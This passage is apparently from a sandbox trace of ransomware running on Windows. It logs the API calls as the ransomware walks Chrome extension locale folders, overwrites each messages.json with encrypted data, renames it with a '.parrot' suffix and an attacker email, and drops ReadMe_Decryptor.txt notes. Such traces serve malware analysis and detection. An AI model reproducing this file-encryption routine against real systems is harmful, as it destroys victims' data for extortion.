Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\nl\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\nl\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x284 [0059.131] GetFileSize (in: hFile=0x284, lpFileSizeHigh=0x18dac0 | out: lpFileSizeHigh=0x18dac0*=0x0) returned 0xdd [0059.131] LockFile (hFile=0x284, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x1f5, nNumberOfBytesToLockHigh=0x0) returned 1 [0059.131] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0059.131] ReadFile (in: hFile=0x284, lpBuffer=0x18daa0, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18da44, lpOverlapped=0x0 | out: lpBuffer=0x18daa0*, lpNumberOfBytesRead=0x18da44*=0x18, lpOverlapped=0x0) returned 1 [0059.132] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0059.132] ReadFile (in: hFile=0x284, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0xdd, lpNumberOfBytesRead=0x18da44, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18da44*=0xdd, lpOverlapped=0x0) returned 1 [0059.132] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4960 [0059.132] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4960 | out: hHeap=0x5b0000) returned 1 [0059.132] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x23) returned 0x606cd8 [0059.132] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x10) returned 0x606968 [0059.132] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2c) returned 0x605358 [0059.132] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x120c) returned 0x5cee58 [0059.132] GetLastError () returned 0x0 [0059.133] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0059.133] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4960 [0059.133] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4b20 [0059.133] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4960 | out: hHeap=0x5b0000) returned 1 [0059.133] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x3) returned 0x5d4960 [0059.133] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4b20 | out: hHeap=0x5b0000) returned 1 [0059.133] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4b20 [0059.133] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4960 | out: hHeap=0x5b0000) returned 1 [0059.133] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x6) returned 0x5d4960 [0059.133] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4b20 | out: hHeap=0x5b0000) returned 1 [0059.133] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x9) returned 0x606968 [0059.133] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4960 | out: hHeap=0x5b0000) returned 1 [0059.133] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xd) returned 0x606950 [0059.133] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x606968 | out: hHeap=0x5b0000) returned 1 [0059.133] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x13) returned 0x5cb8c8 [0059.133] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x606950 | out: hHeap=0x5b0000) returned 1 [0059.133] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1c) returned 0x60d5b0 [0059.133] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5cb8c8 | out: hHeap=0x5b0000) returned 1 [0059.133] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2a) returned 0x605358 [0059.133] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60d5b0 | out: hHeap=0x5b0000) returned 1 [0059.133] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x3f) returned 0x5c7b58 [0059.133] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x605358 | out: hHeap=0x5b0000) returned 1 [0059.133] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x5e) returned 0x60b6e8 [0059.133] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5c7b58 | out: hHeap=0x5b0000) returned 1 [0059.133] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8d) returned 0x2240f30 [0059.133] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60b6e8 | out: hHeap=0x5b0000) returned 1 [0059.133] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xd3) returned 0x22407f8 [0059.133] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2240f30 | out: hHeap=0x5b0000) returned 1 [0059.134] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x13c) returned 0x5d9310 [0059.134] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x22407f8 | out: hHeap=0x5b0000) returned 1 [0059.134] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1f8) returned 0x5d9458 [0059.134] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d9310 | out: hHeap=0x5b0000) returned 1 [0059.134] WriteFile (in: hFile=0x284, lpBuffer=0x5d9458*, nNumberOfBytesToWrite=0x1f8, lpNumberOfBytesWritten=0x18da44, lpOverlapped=0x0 | out: lpBuffer=0x5d9458*, lpNumberOfBytesWritten=0x18da44*=0x1f8, lpOverlapped=0x0) returned 1 [0059.134] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d9458 | out: hHeap=0x5b0000) returned 1 [0059.134] UnlockFile (hFile=0x284, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x1f5, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0059.134] CloseHandle (hObject=0x284) returned 1 [0059.135] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x130) returned 0x5d9310 [0059.135] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1c6) returned 0x5d9448 [0059.135] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d9310 | out: hHeap=0x5b0000) returned 1 [0059.135] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\nl\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\nl\\messages.json"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\nl\\messages.json.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\nl\\messages.json.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0059.138] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d9448 | out: hHeap=0x5b0000) returned 1 [0059.138] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x69c340 | out: hHeap=0x5b0000) returned 1 [0059.138] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5da318 | out: hHeap=0x5b0000) returned 1 [0059.138] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x120) returned 0x5d9310 [0059.138] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x140) returned 0x5d9438 [0059.138] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8) returned 0x5d4960 [0059.138] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8) returned 0x5d4b20 [0059.139] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\nl\\ReadMe_Decryptor.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\nl\\readme_decryptor.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18d838, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x284 [0059.139] GetFileType (hFile=0x284) returned 0x1 [0059.139] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1000) returned 0x5cee58 [0059.151] lstrcmpW (lpString1="messages.json.[cryptonationusa@protonmail.com].parrot", lpString2="ReadMe_Decryptor.txt") returned -1 [0059.151] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x180) returned 0x69c340 [0059.151] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xb1ed5ce0, ftCreationTime.dwHighDateTime=0x1d5e09d, ftLastAccessTime.dwLowDateTime=0xb1ed5ce0, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xb1efbe40, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x258, dwReserved0=0x0, dwReserved1=0x0, cFileName="ReadMe_Decryptor.txt", cAlternateFileName="README~1.TXT")) returned 1 [0059.151] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x30) returned 0x605358 [0059.151] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x605358 | out: hHeap=0x5b0000) returned 1 [0059.151] lstrcmpW (lpString1="ReadMe_Decryptor.txt", lpString2="ReadMe_Decryptor.txt") returned 0 [0059.151] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xb1ed5ce0, ftCreationTime.dwHighDateTime=0x1d5e09d, ftLastAccessTime.dwLowDateTime=0xb1ed5ce0, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xb1efbe40, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x258, dwReserved0=0x0, dwReserved1=0x0, cFileName="ReadMe_Decryptor.txt", cAlternateFileName="README~1.TXT")) returned 0 [0059.151] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d9310 | out: hHeap=0x5b0000) returned 1 [0059.151] FindClose (in: hFindFile=0x600650 | out: hFindFile=0x600650) returned 1 [0059.152] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d8fd0 | out: hHeap=0x5b0000) returned 1 [0059.152] FindNextFileW (in: hFindFile=0x600610, lpFindFileData=0x18ddec | out: lpFindFileData=0x18ddec*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85a8ef50, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85a8ef50, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85a8ef50, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="no", cAlternateFileName="")) returned 1 [0059.152] lstrcmpW (lpString1="no", lpString2=".") returned 1 [0059.152] lstrcmpW (lpString1="no", lpString2="..") returned 1 [0059.152] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x110) returned 0x5d8fd0 [0059.152] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x196) returned 0x5d90e8 [0059.152] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d8fd0 | out: hHeap=0x5b0000) returned 1 [0059.152] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2240a80 | out: hHeap=0x5b0000) returned 1 [0059.152] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x120) returned 0x2240a80 [0059.152] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x210) returned 0x5d9288 [0059.152] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\no\\*", fInfoLevelId=0x0, lpFindFileData=0x18dafc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18dafc) returned 0x600650 [0059.152] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0059.152] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85a8ef50, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85a8ef50, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85a8ef50, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0059.152] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0059.152] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0059.152] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x85a8ef50, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85a8ef50, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xe4180700, ftLastWriteTime.dwHighDateTime=0x1d03f5e, nFileSizeHigh=0x0, nFileSizeLow=0xcb, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1 [0059.152] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x60d5b0 [0059.152] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60d5b0 | out: hHeap=0x5b0000) returned 1 [0059.152] lstrcmpW (lpString1="messages.json", lpString2="ReadMe_Decryptor.txt") returned -1 [0059.152] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\no\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\no\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x284 [0059.153] GetFileSize (in: hFile=0x284, lpFileSizeHigh=0x18dac0 | out: lpFileSizeHigh=0x18dac0*=0x0) returned 0xcb [0059.153] LockFile (hFile=0x284, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x1e3, nNumberOfBytesToLockHigh=0x0) returned 1 [0059.153] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0059.153] ReadFile (in: hFile=0x284, lpBuffer=0x18daa0, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18da44, lpOverlapped=0x0 | out: lpBuffer=0x18daa0*, lpNumberOfBytesRead=0x18da44*=0x18, lpOverlapped=0x0) returned 1 [0059.154] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0059.154] ReadFile (in: hFile=0x284, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0xcb, lpNumberOfBytesRead=0x18da44, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18da44*=0xcb, lpOverlapped=0x0) returned 1 [0059.154] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4960 [0059.154] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4960 | out: hHeap=0x5b0000) returned 1 [0059.154] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x23) returned 0x606cd8 [0059.154] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x10) returned 0x606950 [0059.154] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2c) returned 0x605358 [0059.154] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x120c) returned 0x5cee58 [0059.154] GetLastError () returned 0x0 [0059.154] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0059.154] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4960 [0059.154] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4b20 [0059.154] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4960 | out: hHeap=0x5b0000) returned 1 [0059.154] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x3) returned 0x5d4960 [0059.154] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4b20 | out: hHeap=0x5b0000) returned 1 [0059.154] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4b20 [0059.155] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4960 | out: hHeap=0x5b0000) returned 1 [0059.155] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x6) returned 0x5d4960 [0059.155] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4b20 | out: hHeap=0x5b0000) returned 1 [0059.155] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x9) returned 0x606950 [0059.155] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4960 | out: hHeap=0x5b0000) returned 1 [0059.155] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xd) returned 0x606968 [0059.155] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x606950 | out: hHeap=0x5b0000) returned 1 [0059.155] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x13) returned 0x5cb8c8 [0059.155] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x606968 | out: hHeap=0x5b0000) returned 1 [0059.155] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1c) returned 0x60d5b0 [0059.155] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5cb8c8 | out: hHeap=0x5b0000) returned 1 [0059.155] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2a) returned 0x605358 [0059.155] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60d5b0 | out: hHeap=0x5b0000) returned 1 [0059.155] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x3f) returned 0x5c7b58 [0059.155] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x605358 | out: hHeap=0x5b0000) returned 1 [0059.155] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x5e) returned 0x60b6e8 [0059.155] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5c7b58 | out: hHeap=0x5b0000) returned 1 [0059.155] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8d) returned 0x2240f30 [0059.155] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60b6e8 | out: hHeap=0x5b0000) returned 1 [0059.155] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xd3) returned 0x22407f8 [0059.155] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2240f30 | out: hHeap=0x5b0000) returned 1 [0059.155] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1e8) returned 0x5d0208 [0059.155] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x22407f8 | out: hHeap=0x5b0000) returned 1 [0059.155] WriteFile (in: hFile=0x284, lpBuffer=0x5d0208*, nNumberOfBytesToWrite=0x1e8, lpNumberOfBytesWritten=0x18da44, lpOverlapped=0x0 | out: lpBuffer=0x5d0208*, lpNumberOfBytesWritten=0x18da44*=0x1e8, lpOverlapped=0x0) returned 1 [0059.155] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d0208 | out: hHeap=0x5b0000) returned 1 [0059.155] UnlockFile (hFile=0x284, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x1e3, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0059.155] CloseHandle (hObject=0x284) returned 1 [0059.229] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x130) returned 0x5d0208 [0059.229] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1c6) returned 0x5d0340 [0059.229] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d0208 | out: hHeap=0x5b0000) returned 1 [0059.229] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\no\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\no\\messages.json"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\no\\messages.json.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\no\\messages.json.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0059.230] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d0340 | out: hHeap=0x5b0000) returned 1 [0059.230] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x69c4c8 | out: hHeap=0x5b0000) returned 1 [0059.230] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d0070 | out: hHeap=0x5b0000) returned 1 [0059.230] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x120) returned 0x5d94a0 [0059.230] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x140) returned 0x5d95c8 [0059.230] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8) returned 0x5d4960 [0059.230] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8) returned 0x5d4b20 [0059.230] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\no\\ReadMe_Decryptor.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\no\\readme_decryptor.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18d838, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x284 [0059.253] GetFileType (hFile=0x284) returned 0x1 [0059.253] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1000) returned 0x5cee58 [0059.264] lstrcmpW (lpString1="messages.json.[cryptonationusa@protonmail.com].parrot", lpString2="ReadMe_Decryptor.txt") returned -1 [0059.264] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x180) returned 0x69c4c8 [0059.264] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xb20067e0, ftCreationTime.dwHighDateTime=0x1d5e09d, ftLastAccessTime.dwLowDateTime=0xb20067e0, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xb20067e0, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x258, dwReserved0=0x0, dwReserved1=0x0, cFileName="ReadMe_Decryptor.txt", cAlternateFileName="README~1.TXT")) returned 1 [0059.264] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x30) returned 0x605358 [0059.264] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x605358 | out: hHeap=0x5b0000) returned 1 [0059.264] lstrcmpW (lpString1="ReadMe_Decryptor.txt", lpString2="ReadMe_Decryptor.txt") returned 0 [0059.264] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xb20067e0, ftCreationTime.dwHighDateTime=0x1d5e09d, ftLastAccessTime.dwLowDateTime=0xb20067e0, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xb20067e0, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x258, dwReserved0=0x0, dwReserved1=0x0, cFileName="ReadMe_Decryptor.txt", cAlternateFileName="README~1.TXT")) returned 0 [0059.264] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d94a0 | out: hHeap=0x5b0000) returned 1 [0059.264] FindClose (in: hFindFile=0x600650 | out: hFindFile=0x600650) returned 1 [0059.264] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2240a80 | out: hHeap=0x5b0000) returned 1 [0059.264] FindNextFileW (in: hFindFile=0x600610, lpFindFileData=0x18ddec | out: lpFindFileData=0x18ddec*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85a8ef50, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85a8ef50, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85a8ef50, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="pl", cAlternateFileName="")) returned 1 [0059.264] lstrcmpW (lpString1="pl", lpString2=".") returned 1 [0059.264] lstrcmpW (lpString1="pl", lpString2="..") returned 1 [0059.264] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x110) returned 0x5d8fd0 [0059.264] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x196) returned 0x2240a80 [0059.265] HeapFree (in: hHeap=0x5b0000, 